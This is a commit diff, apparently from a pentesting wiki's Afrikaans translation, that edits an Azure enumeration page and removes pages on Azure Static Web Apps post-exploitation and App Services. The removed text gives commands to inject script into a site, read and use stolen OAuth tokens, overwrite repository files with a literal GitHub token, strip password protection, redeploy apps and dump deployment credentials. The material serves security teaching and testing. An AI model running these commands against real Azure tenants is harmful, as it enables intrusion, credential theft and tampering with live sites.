Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-09 08:11:35 +00:00
parent d6577ee182
commit db118fa129
373 changed files with 6 additions and 556 deletions

View File

@@ -91,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
### Az PowerShell
Azure PowerShell is 'n module met cmdlets om Azure hulpbronne direk vanaf die PowerShell-opdraglyn te bestuur.
Azure PowerShell is 'n module met cmdlets vir die bestuur van Azure hulpbronne direk vanaf die PowerShell-opdraglyn.
Volg hierdie skakel vir die [**installasie instruksies**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
@@ -99,11 +99,11 @@ Opdragte in Azure PowerShell AZ Module is gestruktureer soos: `<Action>-Az<Servi
#### Debug | MitM Az PowerShell
Deur die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien:
Met die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien:
```bash
Get-AzResourceGroup -Debug
```
Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
@@ -126,4 +126,6 @@ Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure Pow
> [!TIP]
> Dit is vervang deur Microsoft Graph PowerShell
Volg hierdie skakel vir die [**installasie-instruksies**](https://www.powershellgallery.com/packages/AzureAD).
Volg hierdie skakel vir die [**installasie instruksies**](https://www.powershellgallery.com/packages/AzureAD).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,162 +0,0 @@
# Az - Statiese Web Apps Post Exploitatie
{{#include ../../../banners/hacktricks-training.md}}
## Azure Statiese Web Apps
Vir meer inligting oor hierdie diens, kyk:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel.
Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Lees Geconfigureerde Derdeparty Kredensiale
Soos verduidelik in die App Service afdeling:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.
Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Oorskrywe lêer - Oorskrywe roetes, HTML, JS...
Dit is moontlik om **'n lêer binne die Github repo** wat die app bevat, deur Azure te oorskrywe deur die **Github token** 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui.
Dit kan deur aanvallers misbruik word om basies **die inhoud van die web app te verander** om kwaadwillige inhoud te dien (steel geloofsbriewe, mnemonic sleutels...) of net om **sekere pades** na hul eie bedieners te herlei deur die `staticwebapp.config.json` lêer te oorskrywe.
> [!WARNING]
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Met hierdie toestemming is dit moontlik om die **wagwoord** wat 'n statiese webtoepassing beskerm, te **wysig** of selfs elke omgewing te ontprotect deur 'n versoek soos die volgende te stuur:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Hierdie toestemming laat toe om die **API sleutel ontplooiingstoken** vir die statiese app te verkry.
Hierdie token laat toe om die app te ontplooi.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Dan, om 'n app op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk **hoe Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk**, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en betalings kan in die toekoms verander.
1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) af (of enige ander repo wat jy wil ontplooi) en voer `cd react-basic` uit.
2. Verander die kode wat jy wil ontplooi
3. Ontplooi dit deur (Onthou om die `<api-token>` te verander):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Met hierdie toestemming is dit moontlik om die **bron van die statiese webtoepassing na 'n ander Github-repo te verander**, egter, dit sal nie outomaties voorsien word nie, aangesien dit gewoonlik vanaf 'n Github-aksie gedoen moet word met die token wat die aksie gemagtig het, aangesien hierdie token nie outomaties binne die Github-geheime van die repo opgedateer word nie (dit word net outomaties bygevoeg wanneer die toepassing geskep word).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Met hierdie toestemming is dit moontlik om die **API-sleutel van die statiese webtoepassing te reset**, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,271 +0,0 @@
# Az - App Services
{{#include ../../../banners/hacktricks-training.md}}
## App Service Basiese Inligting
Azure App Services stel ontwikkelaars in staat om **webtoepassings, mobiele toepassings agtergronde, en API's naatloos te bou, te ontplooi en te skaal**. Dit ondersteun verskeie programmeertale en integreer met verskeie Azure gereedskap en dienste vir verbeterde funksionaliteit en bestuur.
Elke app loop binne 'n sandbox, maar isolasie hang af van App Service planne.
- Apps in Gratis en Gedeelde vlakke loop op gedeelde VM's.
- Apps in Standaard en Premium vlakke loop op toegewyde VM's.
> [!WARNING]
> Let daarop dat **geen** van daardie isolasies **voorkom** dat ander algemene **web kwesbaarhede** (soos lêeroplaai of inspuitings) voorkom nie. En as 'n **bestuursidentiteit** gebruik word, kan dit in staat wees om **regte na hulle op te skaal**.
Apps het 'n paar interessante konfigurasies:
- **Altijd Aan**: Verseker dat die app altyd loop. As dit nie geaktiveer is nie, sal die app stop loop na 20 minute van inaktiwiteit en sal dit weer begin wanneer 'n versoek ontvang word.
- Dit is noodsaaklik as jy 'n webjob het wat deurlopend moet loop, aangesien die webjob sal stop as die app stop.
- **SSH**: As geaktiveer, kan 'n gebruiker met genoeg regte aan die app koppel met SSH.
- **Foutopsporing**: As geaktiveer, kan 'n gebruiker met genoeg regte die app foutopspoor. Dit is egter elke 48 uur outomaties gedeaktiveer.
- **Web App + Databasis**: Die webkonsol laat jou toe om 'n App met 'n databasis te skep. In hierdie geval is dit moontlik om die databasis te kies om te gebruik (SQLAzure, PostgreSQL, MySQL, MongoDB) en dit laat jou ook toe om 'n Azure Cache vir Redis te skep.
- Die URL wat die geloofsbriewe vir die databasis en Redis bevat, sal in die **appsettings** gestoor word.
- **Container**: Dit is moontlik om 'n houer na die App Service te ontplooi deur die URL van die houer en die geloofsbriewe om toegang te verkry aan te dui.
## Basiese Verifikasie
Wanneer 'n webapp (en 'n Azure funksie gewoonlik) geskep word, is dit moontlik om aan te dui of jy wil hê Basiese Verifikasie moet geaktiveer wees. Dit stel basies **SCM en FTP** vir die toepassing in, sodat dit moontlik sal wees om die toepassing met behulp van daardie tegnologieë te ontplooi.\
Boonop bied Azure 'n **API wat toelaat om die gebruikersnaam, wagwoord en URL** te verkry om aan die SCM en FTP bedieners te koppel.
Dit is moontlik om aan die SCM te koppel met 'n webblaaier in `https://<SMC-URL>/BasicAuth` en al die lêers en ontplooiings daar te kontroleer.
### Kudu
Kudu is 'n **ontplooiing en bestuursplatform vir Azure App Service en Funksie Apps**, wat Git-gebaseerde ontplooiings, afstands-foutopsporing, en lêerbestuur vermoëns vir webtoepassings bied. Dit is toeganklik deur die SCM URL van die webapp.
Let daarop dat die Kudu weergawes wat deur App Services en deur Funksie Apps gebruik word, verskillend is, met die weergawe van die Funksie apps baie meer beperk.
Sommige interessante eindpunte wat jy in Kudu kan vind, is:
- `/DebugConsole`: 'n konsol wat jou toelaat om opdragte in die omgewing waar Kudu loop, uit te voer.
- Let daarop dat hierdie omgewing **nie toegang het** tot die metadata diens om tokens te verkry nie.
- `/webssh/host`: 'n web-gebaseerde SSH kliënt wat jou toelaat om binne die houer waar die app loop, te koppel.
- Hierdie omgewing **het toegang tot die metadata diens** om tokens van die toegewyde bestuurde identiteite te verkry.
- `/Env`: Verkry inligting oor die stelsel, app instellings, omgewing veranderlikes, verbinding stringe en HTTP koppe.
- `/wwwroot/`: Die wortelgids van die webapp. Jy kan al die lêers hier aflaai.
## Bronne
App Services laat toe om die kode as 'n zip-lêer op te laai, maar dit laat ook toe om aan 'n derdeparty diens te koppel en die kode daar te verkry.
- Die tans ondersteunde derdeparty bronne is **Github** en **Bitbucket**.
- Jy kan die verifikasietokens verkry deur `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` te loop.
- Azure sal standaard 'n **Github Aksie** opstel om die kode na die App Service te ontplooi elke keer as die kode opgedateer word.
- Dit is ook moontlik om 'n **afgeleë git-repo** (met gebruikersnaam en wagwoord) aan te dui om die kode daar te verkry.
- Jy kan die geloofsbriewe na die afgeleë repo verkry deur `az webapp deployment source show --name <app-name> --resource-group <res-group>` of `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` te loop.
- Dit is ook moontlik om 'n **Azure Repository** te gebruik.
- Dit is ook moontlik om 'n **lokale git-repo** te konfigureer.
- Jy kan die URL van die git-repo verkry met `az webapp deployment source show --name <app-name> --resource-group <res-group>` en dit gaan die SCM URL van die app wees.
- Om dit te kloon, sal jy die SCM geloofsbriewe nodig hê wat jy kan verkry met `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
## Webjobs
Azure WebJobs is **agtergrondtake wat in die Azure App Service omgewing loop**. Dit stel ontwikkelaars in staat om skripte of programme saam met hul webtoepassings uit te voer, wat dit makliker maak om asynchrone of tydsintensiewe operasies soos lêerverwerking, datahantering, of geskeduleerde take te hanteer.
Daar is 2 tipes webjobs:
- **Deurlopend**: Loop eindeloos in 'n lus en word geaktiveer sodra dit geskep word. Dit is ideaal vir take wat konstante verwerking vereis. As die app egter stop loop omdat Altijd Aan gedeaktiveer is en dit nie 'n versoek in die laaste 20 minute ontvang het nie, sal die webjob ook stop.
- **Geaktiveer**: Loop op aanvraag of gebaseer op 'n skedule. Dit is die beste geskik vir periodieke take, soos batch data-opdaterings of onderhoudsroetines.
Webjobs is baie interessant vanuit 'n aanvallers perspektief, aangesien dit gebruik kan word om **kode** in die omgewing uit te voer en **regte op te skaal** na die aangehegte bestuurde identiteite.
Boonop is dit altyd interessant om die **logs** wat deur die Webjobs gegenereer word, na te gaan, aangesien dit **sensitiewe inligting** kan bevat.
### Slots
Azure App Service Slots word gebruik om **verskillende weergawes van die toepassing** na dieselfde App Service te ontplooi. Dit stel ontwikkelaars in staat om nuwe funksies of veranderinge in 'n aparte omgewing te toets voordat hulle dit na die produksie omgewing ontplooi.
Boonop is dit moontlik om 'n **persentasie van die verkeer** na 'n spesifieke slot te lei, wat nuttig is vir **A/B toetsing**, en vir agterdeurdoeleindes.
### Azure Funksie Apps
Basies **Azure Funksie apps is 'n subset van Azure App Service** in die web en as jy na die webkonsol gaan en al die app dienste lys of `az webapp list` in az cli uitvoer, sal jy in staat wees om **die Funksie apps ook hier gelys te sien**.
Werklik, sommige van die **veiligheidsverwante funksies** wat App services gebruik (`webapp` in die az cli), word **ook deur Funksie apps gebruik**.
### Enumerasie
{{#tabs }}
{{#tab name="az" }}
```bash
# List webapps
az webapp list
## Less information
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
## Get SCM URL of each webapp
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
# Get info about 1 app
az webapp show --name <name> --resource-group <res-group>
# Get instances of a webapp
az webapp list-instances --name <name> --resource-group <res-group>
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
# Get access restrictions of an app
az webapp config access-restriction show --name <name> --resource-group <res-group>
# Remove access restrictions
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get appsettings of an app
az webapp config appsettings list --name <name> --resource-group <res-group>
# Get SCM and FTP credentials
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get backups of a webapp
az webapp config backup list --webapp-name <name> --resource-group <res-group>
# Get backups scheduled for a webapp
az webapp config backup show --webapp-name <name> --resource-group <res-group>
# Get snapshots
az webapp config snapshot list --resource-group <res-group> -n <name>
# Restore snapshot
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
# Get slots
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
# Get traffic-routing
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
# Get used container by the app
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
# Read webjobs logs with Azure permissions
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Read webjobs logs with SCM credentials
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
# Get connections of a webapp
az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
```
{{#endtab }}
{{#tab name="az kry alles" }}
```bash
#!/bin/bash
# Get all App Service and Function Apps
# Define Azure subscription ID
azure_subscription="your_subscription_id"
# Log in to Azure
az login
# Select Azure subscription
az account set --subscription $azure_subscription
# Get all App Services in the specified subscription
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
# Iterate over each App Service
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
# Get the type of the App Service
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
# Check if it is a Function App and print its name
if [ "$service_type" == "functionapp" ]; then
echo "Function App Name: $appServiceName"
fi
done
```
{{#endtab }}
{{#endtabs }}
#### Verkry geloofsbriewe & kry toegang tot die webapp kode
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Voorbeelde om Web Apps te genereer
### Python van plaaslik
Hierdie tutoriaal is gebaseer op die een van [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Inloggen op die SCM-portaal of inloggen via FTP maak dit moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
> [!TIP]
> Net om via FTP te verbind en die lêer `output.tar.gz` te wysig, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie.
**'n Aanvaller kan hierdie lêer aflaai, dit wysig en dit weer oplaai om arbitrêre kode in die webapp uit te voer.**
### Python van Github
Hierdie tutoriaal is gebaseer op die vorige een, maar gebruik 'n Github-bewaarplek.
1. Fork die repo msdocs-python-flask-webapp-quickstart in jou Github-rekening.
2. Skep 'n nuwe python Web App in Azure.
3. In `Deployment Center` verander die bron, log in met Github, kies die geforkte repo en klik `Save`.
Soos in die vorige geval, maak dit moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
> [!TIP]
> Net om via FTP te verbind en die lêer `output.tar.gz` te wysig en 'n ontplooiing weer te aktiveer, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie.
## Verwysings
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
{{#include ../../../banners/hacktricks-training.md}}